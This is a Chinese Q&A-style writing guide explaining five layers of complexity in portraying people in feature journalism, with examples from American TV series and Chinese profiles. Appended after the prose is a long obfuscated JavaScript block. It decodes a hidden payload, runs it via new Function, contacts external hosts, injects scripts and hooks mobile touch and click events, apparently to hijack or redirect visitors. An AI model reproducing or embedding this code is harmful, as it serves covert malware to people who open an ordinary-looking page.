推荐回答(4个)
一、人物的性格
第一层的复杂性,是指人物的性格应该是立体的。想想为什么某些宣传稿的人物我们记不住,或者难以对人物产生情感,因为人物的样貌太过于扁平,让人有距离感,不像日常生活里的人,没有生命力。
我是一个美剧忠实拥趸,我发现美剧中的人物从来没有完美的。就像《行尸走肉》这部剧中,所有的角色都能找到缺点。比如第一男主角,警长瑞克·格莱姆斯,整10季看下来,每一季的剧情中,他都会让人失望几次,做出道德上有瑕疵甚至极具争议之举。
美剧里没有完美的好人,也没有完美的坏人。《越狱》里的T-bag够坏了吧,但在剧集热播之时,许多观众都追捧他,表达对他的喜爱,模仿他的一些小动作。
写人物也是一样。即使是一个品德高尚的人,也难免会有些小毛病;一个坏蛋,可能非常孝敬父母,讲究个人卫生。“我喜欢带有冲突特征的角色。有的有争议,有的面临挑战。”科幻作家郝景芳在谈及如何选择角色时曾说过,“我认为好角色不是纯圣人或魔鬼,而是那些难以判断的人。”郝景芳写的是虚构作品,我们可以看到,在所有的创作类型里,对人物的塑造方法是共通的。
我在写作人物特稿时,往往要至少呈现一个该人物的缺点(或者说不那么完美之处)。这听起来像是刻意去找对方的不足,像是鸡蛋里面挑骨头。在实际操作上,只要你对他本人的采访量足够大,有一定的外围采访,并且放弃粉丝对偶像的仰视视角,你就能够看到人物的光环之外的东西。
即便有时找不到缺点,还有一个小技巧是,你可以在写作中的某些时刻,稍微带点“贬损”意味,以拉近人物与读者的距离。比如,外媒经常形容名人“长相普通”。纽约时报在描写某位政治人物时,使用的表述是,“轻言快语、颇为诙谐,他称赞了外国记者的汉语能力,还提到了流行文化,虽然稍微有点过时,比如引用了励志畅销书《谁动了我的奶酪》的说法。”
二、主角的特质
第二层的复杂性,是指主角的同一个特质从不同角度看、在不同位置的他人眼中,是有不同意味的。比如一个极限攀岩的健将,他对这一运动的热爱,对危险的置之不顾,从亲人的角度来看,可能是自私的。
其实,所有的特质都是一体两面的。比如一个极度努力的人,换一个角度看,他可能也是偏执的。一个对每处产品细节都用放大镜认真审视的企业家,换个角度看,可能是暴戾的控制狂。一个情商高的人,往往过于圆滑,不够锐利。追求好笑多过意义的脱口秀明星,可能流于肤浅。所谓优点缺点,其实是相辅相成的。
所以在采写时,要注意对人物的多维度呈现。
如果说前面两点是采写人物的基本常识,那么做到以下三点,则相对困难,也需要采写时有更强的主动意识。
三、人物性格与想法的变化
第三层的复杂性,是指人的性格和想法是变化的。记者所要描写展现的是一个活生生的人,而不是一个静态雕塑。时光会改变每一个人,新的际遇也会改变一个人。在采写的过程中,记者要注意每件事发生的时间,尽量不要混杂到一起、过于轻率地堆积某人的过往素材来佐证他的现在。
比如罗永浩,他引入注目的一个特点是,对商业道德的坚持。而当我们仔细去观察他的言论,会发现细微的变化。比如刚做手机时,他形容自己“有商业道德洁癖”,在2017年接受罗振宇采访时,他不再使用“洁癖”这个词,但依然强调“道德”。这不禁让我想去探索,随着语词变化,这里面割让的到底是什么呢?
我看过一篇写邹市明的特稿,对于他在职业拳击领域未能取得真正意义的成功,文章中有句很重要的评语,“邹市明喝太多的酒了”,指向是邹市明不够自律。但散布于文中的几处关于喝酒的描写,有的发生在他退役后,有的发生在赛后的庆功宴上。
特稿没有一个句子是该被浪费的,摆在那里一定有意义,但我认为,这几处喝酒描写是值得商榷的。不同的人生时刻,喝酒的意义以及它对运动生涯的影响是不同的。人是处于流动的河水之中的,我们应该更谨慎地处理信息,以及它所带给读者的暗示。
写人物的变化,还要注意一点:假设有个坐标系,人改变的过程一定不是一条笔直上扬的斜线,这中间难免有反弹,如果能写出这种波动,才更接近真实。
这当然需要叙事技巧来支持。
比如描写一个暴躁的人慢慢变得温和,如果模糊时间,先堆积一些反面例子,再另起一行,堆积一些正面例子,改变理所当然地完成了,这样处理最简单。
但一个人改掉坏脾气的过程里,进退往复,终于到了一个阶段,他变得大致接近现在的样子,但某些时候,他又再度失控了,而这一系列变化还要穿插到另一条主线情节里——比如他的创业之旅,又该怎么写呢?素材处理上就变得复杂多了,但我们还是应该用后一种方式去呈现故事。
data:image/s3,"s3://crabby-images/e24f9/e24f9de4836e4b9f9871eff9143ed8544848ed8e" alt=""
四、矛盾的人
第四层的复杂,主要因为人是矛盾的。不仅人物的话可能是自相矛盾的,感受也可能是自相矛盾的。刚做记者时,我但凡发现受访者前后表述不一致,会很轻易地感到挫败,甚至会感到愤怒,觉得对方在误导我,欺骗我。但慢慢我开始理解,没有人能够做到完全的自洽。有可能,不自洽才是这个世界的常态。
当我能够理解到这一层复杂,对于受访者逻辑不自洽的地方,我不再定性为谎言,或者强行给出解释来弥合它、让逻辑变得顺滑。
我采取的方式是,让逻辑裂缝暴露出来。我曾采写的《俞灏明:一丝万幸》一稿中,直白地在结尾处写出了我的困惑,就像电影里有了一个开放式的结尾,将如何理解的权利交给读者。这样做,恰恰是对于人性与世界复杂性的敬畏。
五、人物群像的复杂
第五层的复杂,呈现人物的复杂不应止于主角,而适用于所有的出场角色,其他人亦不应该是单一脸孔。相对于主人公,周边人物在特稿中的关系图谱上有着不同的位置,有的近、有的远、有的在对立阵营。我认为这些人物也是复杂的,而不是用来反衬或者佐证的某种人设。
比如一个精致的功利主义者,一个唯利是图的商人。所以,写作中选择直接引语时,要考虑完整语境;选择素材时,也不要去做有针对性的筛选,否则对其他人物就不公平了。
人有共性,比如:自私,欲望,虚荣心,自我为中心,个人英雄主义,这些都是人的共性,一些不好的思维是靠后天的改善美化,不断完善人格魅力。人只注重自己的感觉和认知,有的时候会忽略客观事实。思考一件事要从多个角度观察分析。
人类身体的各种细胞的状态和位置是极其精密的,只要有一丝误差,其结果就是致命的
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();